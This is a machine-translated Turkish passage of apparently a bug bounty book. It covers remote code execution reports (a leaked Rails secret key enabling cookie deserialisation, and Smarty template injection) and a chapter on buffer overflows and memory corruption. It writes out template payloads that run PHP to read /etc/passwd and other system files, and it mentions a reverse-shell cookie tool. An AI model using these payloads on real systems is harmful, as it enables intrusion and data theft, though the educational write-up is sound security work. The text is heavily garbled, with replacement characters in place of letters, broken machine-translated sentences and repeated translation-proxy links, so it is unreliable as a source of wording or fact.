Algol�a.com’dak� nad�de çalışması, Algrob’un yaptığı fark ed�ld�ğ�nde G�trob aracını kullanarak
halka açık b�r depoya kend� secret_key_base'ler�n� açık b�r şek�lde taahhüt ett�. Buna dah�l olmak
k�tabın bölümü açıkça M�ch�el'�n uzaktan kod çalıştırma gerçekleşt�rd�ğ� anlamına gel�yor.
aşağı.

B�r�nc�s� G�trob, G�tHub API's�n� kullanacak har�ka b�r araçtır (Araçlar bölümünde bulunur).
kamuya açık depoları hassas dosyalar ve b�lg�ler �ç�n taramak. B�r tohum deposu alır
b�r g�rd� olarak ve aslında yazarların katkı sağladığı tüm depoları örter.
�lk tohum deposu. Bu havuzlarla, hassas dosyaları temel alarak arama yapar.
g�b� hassas dosya uzantıları da dah�l olmak üzere ş�fre, sır, ver�tabanı vb. g�b� anahtar kel�meler üzer�nde
.Sql.

Öyleyse, G�trob Angol�a'nın facebook'ta secret_token.rb dosyasını �şaretlem�ş olacaktı.
g�zl� sözcüğü neden�yle depoda arama yap. Ş�md�, Ruby on Ra�ls'e aş�na �sen�z,
bu dosya s�z�n �ç�n kırmızı b�r bayrak açmalı, Ra�ls'�n saklandığı dosya secret_key_base,
Ra�ls çerezler�n� doğrulamak �ç�n kullandığı �ç�n asla halka açıklanmaması gereken b�r değer.
Dosyaya bakıldığında, Angol�a'nın bu değer� halka açıklamış olduğunu ortaya koydu.
depo (hala https://g�thub.com/algol�a/facebook-search/- adres�ndek� taahhüdü göreb�l�rs�n�z.
) / F3adccb5532898f8088f90eb57cf991e2d499b49 # fark-afe98573d9aad940bb0f531ea55734f8R12 taahhüt.
B�r kenara, ne yapılması gerekt�ğ�n� merak ed�yorsanız, bu b�r ortamdı.
değer� değ�l b�r konumdan okuyan ENV ['SECRET_KEY_BASE'] g�b� b�r ronment değ�şken�
depoya adanmış.

Ş�md�, secret_key_base'�n öneml� olmasının neden� Ra�ls'�n onu kullanmasıdır.
çerezler�n� doğrulamak �ç�n. Ra�ls'dek� b�r oturum çerez�, / _MyApp_- g�b� görünecek
oturumu = BAh7B0k�D3Nlc3Npb25faWQGOdxM3M9BjsARg% 3D% 3D-dc40a55cd52fe32bb3b8
(Bu değerler� sayfaya sığacak şek�lde öneml� ölçüde kırptım). Burada, öncek� her şey -
b�r base64 kodlanmış, ser�leşt�r�lm�ş nesne. -'Den sonrak� parça b�r HMAC �mzasıdır.
Raylar, nesnen�n geçerl�l�ğ�n� �lk yarıdan doğrulamak �ç�n kullanır. HMAC �mzası
sırrı b�r g�rd� olarak kullanarak yarattı. Sonuç olarak, eğer sırrını b�l�yorsanız, sahte olab�l�rs�n�z.
kend� kurab�yeler�n.

Bu noktada, ser�leşt�r�lm�ş nesney� ve ortaya çıkardıkları tehl�key� b�lm�yorsanız,
kend� kurab�yeler�n� hazırlamak zararsız görüneb�l�r. Ancak, Ra�ls çerez� aldığında
ve �mzasını doğrular, nesneye nesney� çağıran yöntemler� ser� hale get�r�r
ser� hale get�r�lm�ş. Bu nedenle, bu ser�y� kaldırma sürec� ve
Ser�leşt�r�lm�ş nesneler, saldırganın rasgele kod yürütmes�ne olanak sağlar.

Bunların heps�n� M�ch�el'�n bulmasına ger� götürdü, sırrını bulduğundan ber�, başardı.
base64 kodlu nesneler olarak depolanan kend� ser�leşt�r�lm�ş nesneler�n� yarat, �mzala ve �let
çerezler aracılığıyla s�teye onları. S�te daha sonra kodunu uygulardı. Bunu yapmak �ç�n o
metasplo�t-framework, Ra�ls Secret �ç�n Rap�d7'den b�r konsept aracı kanıtı kullandı
Deser�al�zat�on. Araç, �z�n ver�len ters b�r kabuk �çeren b�r çerez oluşturur

https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://hackerone.com/reports/134321
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M�ch�el keyf� komutlar vermeye başladı. Dolayısıyla, k�ml�ğ� = 1000 (eşya) olarak döndüren k�ml�ğ� çalıştırdı.
g�d = 1000 (eşya) grubu = 1000 (eşya) . Sevd�ğ� �ç�n çok genel olsa da, o karar verd�
Bu güvenl�k açığını kanıtlayan, sunucuda hackerone.txt dosyasını oluşturun.

çıkarımlar

Her zaman çene düşüyor ve heyecan ver�c� olmasa da, uygun keş�f yapmak
değerl� olduğunu kanıtlayab�l�r. Burada, M�ch�el açık alanda oturan b�r güvenl�k açığı buldu
6 N�san 2014'ten bu yana sadece halka açık Angol�a'da G�trob'u çalıştırarak
Facebook-Arama deposu. S�z çalışırken çalıştırılab�len ve çalıştırılab�len b�r görev
�ncelemeye devam etmek �ç�n ger� dönerek d�ğer hedefler� aramaya ve hacklemeye devam ed�n.
tamamlandıktan sonra bulgular.

3. Foobar Smarty Şablon Enjeks�yonu RCE

Zorluk : Orta

URL : n / a

Rapor Bağlantısı : https://hackerone.com/reports/1642243

Rapor Tar�h� : 29 Ağustos 2016

Ödemel� Ödül : 400 Dolar

Tanım :

Bu, bugüne kadar en sevd�ğ�m güvenl�k açığı olmasına rağmen, özel b�r programda bulunuyor, bu yüzden yapamam.
adını açıklar. Aynı zamanda düşük b�r ödemed�r ancak programın düşük ödeme aldığını b�l�yordum.
onlar üzer�nde çalışmaya başladığımda bu ben� rahatsız etm�yor.

29 Ağustos'ta Foobar d�ye adlandırdığımız yen� b�r özel programa davet ed�ld�m. Yaparken
�lk keş�f�mde, s�ten�n ön uç �ç�n Angular kullandığını fark ett�m.
Bu ben�m �ç�n genell�kle kırmızı b�r bayrak.
önceden güvenl�k açıkları. Sonuç olarak, çeş�tl� sayfalarda yoluma g�tmeye başladım.
ve sunulan s�tey�, prof�l�mden başlayarak, 49 �ç�n {{7 * 7}}
render olmak. Prof�l sayfasında başarılı olmasam da, davet etme özell�ğ�n� fark ett�m.
arkadaşlarım s�teye g�rerek �şlevsell�ğ�n� test etmeye karar verd�m.

Formu gönderd�kten sonra aşağıdak� e-postayı aldım:

3 https://hackerone.com/reports/164224
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https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://hackerone.com/reports/164224
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://hackerone.com/reports/164224


Foobar Davet�ye E-postası

Gar�p. E-postanın başlangıcı, 7 * 7 d�yerek Smarty hatası veren b�r yığın �z� �çer�yordu
tanınmadı. Bu hemen b�r kırmızı bayraktı. Görünüşe göre {{7 * 7}}
kalıba enjekte ed�l�yor ve kalıbı değerlend�rmeye çalışıyordu
7 * 7'y� tanır.

Şablon enjeks�yonları hakkındak� b�lg�m�n çoğu, James Kettle’den (gel�şt�r�c�
Burpsu�te) bu yüzden b�r konuyla �lg�l� makales� �ç�n hızlı b�r Google araması yaptım
Kullanılacak yük kapas�tes� (aynı zamanda har�ka b�r Blackhat sunumu var. İzlemen�z� tavs�ye eder�m.).
YouTube’da). Smarty bölümüne göz attım ve �çerd�ğ� yükü dened�m
{self :: getStreamVar�able (“dosya: /// proc / self / log�nuu�d”)} ve h�çb�r şey. Çıktı yok.
İlg�nçt�r, makaley� tekrar okurken, James aslında geleceğ�m yükü �çer�yordu
makalede daha önce de olsa kullanmak �ç�n. Görünüşe göre acelemde onu özled�m. Muhtemelen �ç�n
Bu konuda çalışan öğrenme deney�m� ver�len en �y� aslında bana sağladı.

Ş�md�, bulduklarımın potans�yel� hakkında b�raz şüphec� oldum, Smarty belges�ne g�tt�m.
James'�n önerd�ğ� g�b� Bunu yapmak da dah�l olmak üzere bazı ayrılmış değ�şkenler� ortaya çıkardı
{$ Smarty.vers�on}. Bunu ben�m adım olarak eklemek ve e-postayı yen�den göndermek şöyle sonuçlandı:
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Smarty Sürümü �le Foobar Davet E-postası

İsm�m�n ş�md� 2.6.18 olduğuna d�kkat ed�n - s�ten�n çalıştığı Smarty sürümü.
Ş�md� b�r yerlere gel�yoruz. Belgeler� okumaya devam ederken,
keyf� PHP kodunu çalıştırmak �ç�n {php} {/ php} et�ketler�n� kullanab�lme
Aslında James'�n makales�nde). Bu umut ver�c� görünüyordu.

Ş�md� {php} yükünü “Merhaba” {/ php} adımı yazdırdım ve e-postayı gönderd�m.
sonuçlandı:

PHP değerlend�rme �le Foobar Davet E-postası

Gördüğünüz g�b�, ş�md� ben�m adım Merhaba. Son b�r test olarak, ayıklamak �sted�m
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/ etc / passwd dosyasını programa bunun potans�yel�n� göstermek �ç�n. Bu yüzden kullandım
yük, {php} $ s = f�le_get_contents ('/ etc / passwd'); var_dump ($ s); {/ php} . Bu olur
/ etc / passwd dosyasını açmak, okumak ve kapatmak �ç�n f�le_get_contents �şlev�n� yürütün
değ�şkene atama, sonra değ�şken �çer�ğ�n� �sm�m olarak atan
Smarty kodu değerlend�rd�. E-postayı gönderd�m ama adım boştu. Tuhaf.

PHP dokümantasyonundak� fonks�yon hakkında b�r şeyler okudum ve b�r parça almaya karar verd�m
dosya adının uzunluğu �ç�n b�r sınır olup olmadığını merak ederek. Bu ben�m yükümü dönüştürdü
{php} $ s = f�le_get_contents ('/ etc / passwd', NULL, NULL, 0,100); var_dump ($ s); {/ php} . Hayır-
NULL, NULL, 0,100, bu dosyadan �lk 100 karakter� alır.
Tüm �çer�ğ�n. Bu, aşağıdak� e-posta �le sonuçlandı:



Foobar Davet�yes� / etc / passwd �çer�ğ� �le e-posta

Başarı! Artık rasgele kod yürüteb�ld�m ve kavramın kanıtı olarak çıkart
B�r seferde tüm / etc / passwd dosyası 100 karakter. Raporumu ve
güvenl�k açığı b�r saat �ç�nde g�der�ld�.

çıkarımlar

Bu güvenl�k açığı üzer�nde çalışmak çok eğlencel�yd�. İlk yığın �z� kırmızıydı
B�r şey�n yanlış olduğunu ve �ç�nde ayrıntılı olarak açıklanan d�ğer güvenl�k açıklarını �şaretley�n.
K�tap, dumanın olduğu yerde yangın var. James Kettle'ın blog yazısı yayınlanırken
Aslında kullanılacak kötü n�yetl� yükü de göz ardı ett�m. Ancak, bu verd�
Bana Smarty'y� okuma alıştırmalarını öğrenme ve öğrenme fırsatı
dokümantasyon. Bunu yapmak, ben� ayrılmış değ�şkenlere ve {php} et�ket�ne yönlend�rd�.
kend� kodumu çalıştır.
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özet

D�ğer güvenl�k açıkları g�b� Uzaktan Kod Yürütme, t�p�k olarak kullanıcı g�r�ş�n�n b�r sonucudur
düzgün şek�lde doğrulanmamakta ve kullanılmamakta. Sağlanan �lk örnekte, ImageMag�ck
Kötü n�yetl� olab�lecek �çer�kten kaçan düzgün değ�ld�. Bu, Ben �le b�rl�kte
güvenl�k açığı hakkında b�lg� sah�b� olması, özell�kle olması muhtemel alanları bulmasına ve test etmes�ne �z�n verd�
savunmasız. Bu tür güvenl�k açıklarını aramakla �lg�l� olarak, hızlı b�r �şlem yoktur.
Cevap. Yayımlanan CVE'ler�n farkında olun ve s�teler tarafından kullanılan yazılımlara göz atın
bu durum savunmasız olab�leceğ� �ç�n güncel olmayab�l�r.

Angol�a bulgusuna gel�nce, M�ch�el böylece kend� çerezler�n� �mzalayab�ld�.
�z�n ver�lm�ş olan ser�leşt�r�lm�ş nesneler b�ç�m�nde kötü amaçlı kod göndermes�ne �z�n vermek
sonra Ra�ls tarafından güven�ld�.
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15. Hafıza

Açıklama

Tampon Taşması

Arabellek Taşması, b�r programın arabellek veya alanına ver� yazan b�r durumdur.
hafızada, aslında o hafıza �ç�n ayrılan alandan daha çok ver� yazab�l�rs�n�z.
B�r buzluk teps�s� açısından düşünün, 12 oluşturmak �ç�n alanınız olab�l�r ama sadece �stey�n
10. Teps�y� doldururken, 10 nokta doldurmak yer�ne çok fazla su eklers�n�z,
11 doldurun. Buz küpü arabelleğ�nden henüz taşmışsınız.

Arabellek Taşması, en �y� düzens�z program davranışına ve c�dd� b�r güvenl�ğe yol açar
en kötü durumda güvenl�k açığı. Bunun neden�, Arabellek Taşması �le korunmasız b�r programdır
daha sonra çağrılab�lecek beklenmed�k ver�lerle güvenl� ver�ler�n üzer�ne yazmaya başlar.
Bu olduğu takd�rde, üzer�ne yazılmış kod, kodundan tamamen farklı b�r şey olab�l�r.
program b�r hataya neden olan bekler. Veya, kötü amaçlı b�r b�lg�sayar korsanı taşması kullanab�l�r
Kötü amaçlı kod yazmak ve yürütmek �ç�n.

İşte Apple 1'den örnek b�r res�m :

https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://developer.apple.com/library/mac/documentation/Security/Conceptual/SecureCodingGuide/Articles/BufferOverflows.html


Tampon Taşması Örneğ�

Burada, �lk örnek potans�yel b�r tampon taşması göstermekted�r. Strcpy uygulaması
“Larger” d�zes�n� alır ve tahs�s ed�len mevcut numarayı göz ardı ederek belleğe yazar
boşluk (beyaz kutular) ve �stenmeyen belleğe yazma (kırmızı kutular).

1 https://developer.apple.com/l�brary/mac/documentat�on/Secur�ty/Conceptual/SecureCod�ngGu�de/Art�cles/BufferOverflows.
html
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Sınırları oku

Ver�y� ayrılmış belleğ�n ötes�ne yazmaya ek olarak, güvenl�k açığında başka b�r güvenl�k açığı bulunmaktadır.
B�r hafıza sınırı dışında ver� okuma. Bu, �ç�ndek� b�r Arabellek Taşması türüdür
bellek, arabellek �z�n veren�n ötes�nde okunuyor.

Belleğ�n dışındak� ver�ler� okuyan ünlü ve son b�r güvenl�k açığı örneğ� -
ary, N�san 2014'te açıklanan OpenSSL Heartbleed Böceğ�'d�r. Açıklama sırasında,
İnternet�n güvenl� web sunucularının yaklaşık% 17's� (500k) güven�l�r otor�te tarafından onaylanmıştır.
bağların saldırıya karşı savunmasız olduğuna �nanılıyordu ( https://en.w�k�ped�a.org/w�k�/Heartbleed2 ).

Heartbleed, sunucuya özel anahtarlar, oturum ver�ler�, ş�freler vb. Çalmak �ç�n kullanılab�l�r.
B�r sunucuya "Kalp Atışı İsteğ�" mesajı göndererek gerçekleşt�r�ld�.
daha sonra aynı mesajı tekrar �stek sah�b�ne gönder�n. Mesaj �çereb�l�r
b�r uzunluk parametres�. Saldırıya açık olanlar, mesaj �ç�n hafıza ayırdılar
mesajın gerçek boyutuna bakılmaksızın uzunluk parametres�n� temel alır.

Sonuç olarak, Heartbeat mesajı, küçük b�r mesaj göndererek kullanıldı.
savunmasız alıcıların fazladan hafıza okumak �ç�n kullandıkları büyük uzunluk
mesaj hafızasına ne tahs�s ed�ld�. İşte W�k�ped�a'dan b�r res�m:

2 https://en.w�k�ped�a.org/w�k�/Heartbleed

https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://developer.apple.com/library/mac/documentation/Security/Conceptual/SecureCodingGuide/Articles/BufferOverflows.html
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://developer.apple.com/library/mac/documentation/Security/Conceptual/SecureCodingGuide/Articles/BufferOverflows.html
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://en.wikipedia.org/wiki/Heartbleed
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://en.wikipedia.org/wiki/Heartbleed
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Heartbleed örneğ�

Tampon Taşmalarının daha ayrıntılı b�r anal�z�, Sınırların Dışında ve Heartbleed'de Okuma
Daha fazla b�lg� ed�nmek �st�yorsanız, bu k�tabın kapsamı dışında
�y� kaynaklar:

Apple Belgeler�3

3 https://developer.apple.com/l�brary/mac/documentat�on/Secur�ty/Conceptual/SecureCod�ngGu�de/Art�cles/BufferOverflows.
html

https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://developer.apple.com/library/mac/documentation/Security/Conceptual/SecureCodingGuide/Articles/BufferOverflows.html
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://developer.apple.com/library/mac/documentation/Security/Conceptual/SecureCodingGuide/Articles/BufferOverflows.html
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://developer.apple.com/library/mac/documentation/Security/Conceptual/SecureCodingGuide/Articles/BufferOverflows.html
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W�k�ped�a Tampon Taşması G�r�ş�4

V�k�ped� NOP Slayt5

Web Uygulaması Güvenl�ğ� Projes�n� Açın6

Heartbleed.com 7

Bellek Bozulması

Bellek bozulması, güvenl�k açığının ortaya çıkmasına neden olacak şek�lde güvenl�k açığı ortaya çıkarmak �ç�n kullanılan b�r tekn�kt�r.
sıradışı veya beklenmed�k davranışlarda bulunma. Etk� b�r tampon belleğe benzer
olmaması gerekt�ğ�nde belleğ�n bulunduğu yerde taşma.

Buna b�r örnek, Boş Bayt Enjeks�yonu. Bu boş b�r bayt veya boş b�r d�ze olduğunda oluşur
Onaltılık% 100 veya 0x00, sağlanan ve �stenmeyen davranışa yol açar.
alma programı. C / C ++ veya düşük sev�yel� programlama d�ller�nde boş b�r bayt tems�l eder
d�zgen�n sonu veya d�zgen�n sonlandırılması. Bu, programın �şlemey� durdurmasını söyleyeb�l�r
hemen d�ze ve boş bayttan sonra gelen baytlar yoksayılır.

Bu, kodun d�ze uzunluğuna dayanması durumunda etk�l�d�r. Boş b�r bayt okunursa
�şlem durursa, 10 karakterden oluşan b�r d�ze 5'e çevr�leb�l�r.
örnek:

th�s�s% 00mystr�ng

Bu d�ze 15 uzunluğunda olmalı, ancak d�ze null baytla sonlanırsa,
değer 6 olur. Bu, kend� d�ller�n� yöneten düşük sev�yel� d�llerde sorunludur.
hafıza.

Ş�md�, web uygulamaları �le �lg�l� olarak, bu web uygulamaları olduğunda geçerl� olur.
C �le yazılmış kütüphaneler, har�c� API'ler vb. �le etk�leş�me g�rme
Saldırganlara, web tabanlı dosyaları okuma ve yazma dah�l
daha gen�ş sunucu ortamında web uygulamasının �z�nler�. Özell�kle ne zaman
Söz konusu programlama d�l�, PHP g�b�, b�r C programlama d�l�nde yazılmıştır.
kend�s�.

4 https://en.w�k�ped�a.org/w�k�/Buffer_overflow
5 https://en.w�k�ped�a.org/w�k�/NOP_sl�de
6 https://www.owasp.org/�ndex.php/Buffer_Overflow
7 http://heartbleed.com

https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://en.wikipedia.org/wiki/Buffer_overflow
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://en.wikipedia.org/wiki/NOP_slide
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://www.owasp.org/index.php/Buffer_Overflow
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=http://heartbleed.com/
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://en.wikipedia.org/wiki/Buffer_overflow
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://en.wikipedia.org/wiki/NOP_slide
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://www.owasp.org/index.php/Buffer_Overflow
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=http://heartbleed.com/


Sayfa 137

Hafıza 125

OWASP Bağlantıları

Daha fazla b�lg� �ç�n OWASP Buffer Overflows'a göz atın.8 OWASP'a göz atın
Arabellek Taşması ve Taşması Kodunu Gözden Geç�rme 9 OWASP Test�ne göz atın
Arabellek Taşmaları �ç�n10 Öbek Taşması İç�n OWASP Test�ne göz atın11 Kontrol
üzer�nden Yığın Taşması �ç�n OWASP Test�12 OWASP'ta daha fazla b�lg� ed�n
Null Kodunu Gömme 13

Örnekler

1. PHP ftp_genl�st ()

Zorluk : Yüksek

URL : Yok

Rapor Bağlantısı : https://bugs.php.net/bug.php?�d=6954514

Rapor Tar�h� : 12 Mayıs 2015

Ödemel� Ödül : 500 Dolar

Tanım :

PHP programlama d�l�, C’n�n d�l�ndek� C programlama d�l�nde yazılmıştır.
kend� hafızasını yönetme keyf�. Yukarıda açıklandığı g�b�, Arabellek Taşmalarına �z�n ver�l�r
Kötü n�yetl� kullanıcılar er�ş�lemez bellek ve uzaktan
kod yürüt

Bu durumda, ftp uzantısının ftp_genl�st () �şlev� taşma �ç�n �z�n ver�l�r,
veya geç�c� b�r dosyaya yazılmış olan 4,294 MB’dan daha fazla göndermek.

Bu da, tahs�s ed�len ara belleğe, yazılan ver�ler� tutmak �ç�n küçük olması sonucunu verd�.
temp dosyasının �çer�ğ�n� yüklerken b�r yığın taşmasıyla sonuçlanan temp dosyası
tekrar hafızaya.

8 https://www.owasp.org/�ndex.php/Buffer_Overflows
9 https://www.owasp.org/�ndex.php/Rev�ew�ng_Code_for_Buffer_Overruns_and_Overflows

10 https://www.owasp.org/�ndex.php/Test�ng_for_Buffer_Overflow_(OTG-INPVAL-014)
11 https://www.owasp.org/�ndex.php/Test�ng_for_Heap_Overflow
12 https://www.owasp.org/�ndex.php/Test�ng_for_Stack_Overflow
13 https://www.owasp.org/�ndex.php/Embedd�ng_Null_Code
14 https://bugs.php.net/bug.php?�d=69545
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çıkarımlar

https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://www.owasp.org/index.php/Buffer_Overflows
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://www.owasp.org/index.php/Reviewing_Code_for_Buffer_Overruns_and_Overflows
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://www.owasp.org/index.php/Reviewing_Code_for_Buffer_Overruns_and_Overflows
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://www.owasp.org/index.php/Testing_for_Buffer_Overflow_(OTG-INPVAL-014)
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://www.owasp.org/index.php/Testing_for_Buffer_Overflow_(OTG-INPVAL-014)
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://www.owasp.org/index.php/Testing_for_Heap_Overflow
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://www.owasp.org/index.php/Testing_for_Stack_Overflow
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://www.owasp.org/index.php/Embedding_Null_Code
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://www.owasp.org/index.php/Embedding_Null_Code
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://bugs.php.net/bug.php%3Fid%3D69545
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://www.owasp.org/index.php/Buffer_Overflows
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://www.owasp.org/index.php/Reviewing_Code_for_Buffer_Overruns_and_Overflows
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://www.owasp.org/index.php/Testing_for_Buffer_Overflow_(OTG-INPVAL-014)
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://www.owasp.org/index.php/Testing_for_Heap_Overflow
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://www.owasp.org/index.php/Testing_for_Stack_Overflow
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://www.owasp.org/index.php/Embedding_Null_Code
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://bugs.php.net/bug.php%3Fid%3D69545


Arabellek Taşması esk�, �y� b�l�nen b�r güvenl�k açığıdır, ancak ne zaman yaygındır
özell�kle kend� hafızasını yöneten uygulamalar �le �lg�lenmek
C ++. C’ye dayalı b�r web uygulamasıyla karşı karşıya olduğunuzu öğren�rsen�z,
d�l (PHP yazılmıştır), arabellek taşmaları bel�rg�n b�r olasılıktır.
Ancak, yen� başlıyorsanız, muhtemelen bulmak �ç�n zaman ayırmaya değer
enjeks�yonla �lg�l� güvenl�k açıklarını daha bas�t hale get�r�n ve arabellek taşmalarına ger� dönün
sen daha deney�ml�s�n.

2. Python Hotshot Modülü

Zorluk : Yüksek

URL : Yok

Rapor Bağlantısı : http://bugs.python.org/�ssue2448115

Rapor Tar�h� : 20 Haz�ran 2015

Ödemel� Ödül : 500 Dolar

Tanım :

PHP g�b�, Python programlama d�l� de C programlama d�l�nde yazılmıştır,
Daha önce de bel�rt�ld�ğ� g�b�, kend� hafızasını yönet�r. Python Sıcak Nokta Modülü
mevcut prof�l modülünün yer�ne geçm�şt�r ve çoğunlukla C’ye
mevcut prof�l modülünden daha küçük performans etk�s�. Ancak, Haz�ran 2015’te
D�ze kopyalamaya çalışan kodla �lg�l� Arabellek Taşması güvenl�k açığı keşfed�ld�
b�r hafıza konumundan d�ğer�ne.

Temel olarak, savunmasız kod, hafızayı kopyalayan, memcpy metodunu çağırdı.
b�r konum d�ğer�ne kopyalanacak bayt sayısını alarak. İşte ç�zg�:

memcpy (self-> tampon + self-> d�z�n, s, len);

Memcpy metodu 3 parametre alır, str, str2 ve n. str1 hedef, str
kopyalanacak kaynak ve n kopyalanacak bayt sayısıdır. Bu durumda, bunlar
self-> buffer + self-> �ndex, s ve len değerler�ne karşılık gel�r.

Bu durumda, güvenl�k açığı, kend�>> arabelleğ�n�n her zaman sab�t olduğu gerçeğ�nden kaynaklanıyordu.
g�b� uzunluk s herhang� b�r uzunlukta olab�l�r.

Sonuç olarak, kopyalama �şlev�n� yürütürken (yukarıdak� Apple d�yagramındak� g�b�),
memcpy �şlev�, kopyalanan alanın gerçek boyutunu göz ardı eder ve böylece
taşma.

15 http://bugs.python.org/�ssue24481
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çıkarımlar

Ş�md� yanlış uygulanan �k� fonks�yonun örneğ�n� gördük.
Tampon Taşmalarına karşı duyarlı, memcpy ve strcpy . B�r s�te b�l�yorsak
veya uygulama C veya C ++ 'a dayanıyorsa, kaynak üzer�nden arama yapmak mümkündür
yanlış bulmak �ç�n bu d�l �ç�n k�taplıkları kodlayın (grep g�b� b�r şey kullanın)
uygulamalar.

Anahtar, sab�t uzunluktak� b�r değ�şken� geçen uygulamaları bulmak olacaktır.

https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=http://bugs.python.org/issue24481
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=http://bugs.python.org/issue24481


Her �k� fonks�yona üçüncü parametre, olması gereken ver� boyutuna karşılık gel�r.kopyalanan ver�ler aslında değ�şken b�r uzunluktayken tahs�s ed�l�r.

Ancak, yukarıda bel�rt�ld�ğ� g�b�, yen� başlıyorsanız, daha değerl� olab�l�r
ger� dönerek bu tür güvenl�k açıklarını aramayı bırakma vakt�n�z
beyaz şapka kırma �le daha rahat olduklarında onları.

3. L�bcurl Sınırları Dışında Oku

Zorluk : Yüksek

URL : Yok

Rapor Bağlantısı : http://curl.haxx.se/docs/adv_20141105.html16

Rapor Tar�h� : 5 Kasım 2014

Ödemel� Ödül : 1000 $

Tanım :

L�bcurl ücrets�z b�r �stemc� tarafı URL aktarım kütüphanes�d�r ve cURL komut satırı tarafından kullanılır.
ver� aktarımı �ç�n b�r araç. L�bcurl curl_easy_duphandle () c�hazında b�r güvenl�k açığı bulundu
olmayan hassas ver�ler� göndermek �ç�n kullanılab�lecek b�r �şlev
�let�m �ç�n tasarlanmıştır.

L�bcurl �le b�r transfer yaparken, b�r seçenek kullanmak mümkündür: CURLOPT_COPY-
POSTFIELDS, uzak sunucuya gönder�lecek ver�ler �ç�n b�r hafıza konumu bel�rlemek �ç�n kullanılır.
Başka b�r dey�şle, ver�ler�n�z �ç�n b�r tutma tankı düşünün. Konumun (veya tankın) boyutu
ayrı b�r seçenekle ayarlayın.

Ş�md�, aşırı tekn�k olmadan, bellek alanı b�r “tanıtıcı” �le �l�şk�lend�r�ld�.
(tam olarak ne anlama geld�ğ�n� b�lmek bu k�tabın kapsamı dışındadır ve gerekl� değ�ld�r)
Burada tak�p etmek �ç�n) ve uygulamalar b�r kopyasını oluşturmak �ç�n tanıtıcıyı çoğaltab�l�r
ver�. Güvenl�k açığının bulunduğu yer burası - kopyanın uygulanması
�le strdup fonks�yon ve ver� sıfır (sıfır) bayt sah�p olduğu kabul ed�ld�
b�r d�zen�n sonunu bel�rt�r.

16 http://curl.haxx.se/docs/adv_20141105.html
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Bu durumda, ver� sıfır (boş) bayta sah�p olmayab�l�r veya �steğe bağlı b�r ver�ye sah�p olmayab�l�r.
yer. Sonuç olarak, çoğaltılmış tutamaç çok küçük olab�l�r, çok büyük olab�l�r veya
programı. Ayrıca, çoğaltma �şlem�nden sonra ver� gönderme �şlev� hesaba katılmaz
Zaten okunmuş ve kopyalanmış ver�ler �ç�n de er�ş�ld� ve ver� gönder�ld�.
amaçlanan hafıza adres�n�n ötes�nde.

çıkarımlar

Bu çok karmaşık b�r güvenl�k açığı örneğ�d�r. Varlık sınırında �ken
Bu k�tabın amacı �ç�n çok tekn�k, ben göstermek �ç�n dah�l
öğrend�kler�m�zle benzerl�kler. Bunu yıktığımızda, bu
güvenl�k açığı, �l�şk�l� C kodu uygulamasındak� b�r hatayla da �l�şk�lend�r�ld�.
Hafıza yönet�m� �le, özell�kle hafızanın kopyalanması. Y�ne g�d�yorsan
C sev�yes� programlamada kazmaya başlamak �ç�n, ver�ler�n bulunduğu alanları aramaya başlayın.
b�r hafıza konumundan d�ğer�ne kopyalanmak.

https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=http://curl.haxx.se/docs/adv_20141105.html
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=http://curl.haxx.se/docs/adv_20141105.html


4. PHP Bellek Bozulması

Zorluk : Yüksek

URL : Yok

Rapor Bağlantısı : https://bugs.php.net/bug.php?�d=6945317

Rapor Tar�h� : 14 N�san 2015

Ödemel� Ödül : 500 Dolar

Tanım :

Phar_parse_tarf�le yöntem� boş b�r bayt �le başlayan dosya adlarını hesaba katmazdı,
sıfır değer� �le başlayan b�r bayt, yan� onaltılık 0x00.

Yöntem�n yürütülmes� sırasında, dosya adı kullanıldığında,
d�z� (yan�, gerçekte var olmayan ve d�z�n�n dışında olan ver�lere er�şmeye çalışmak
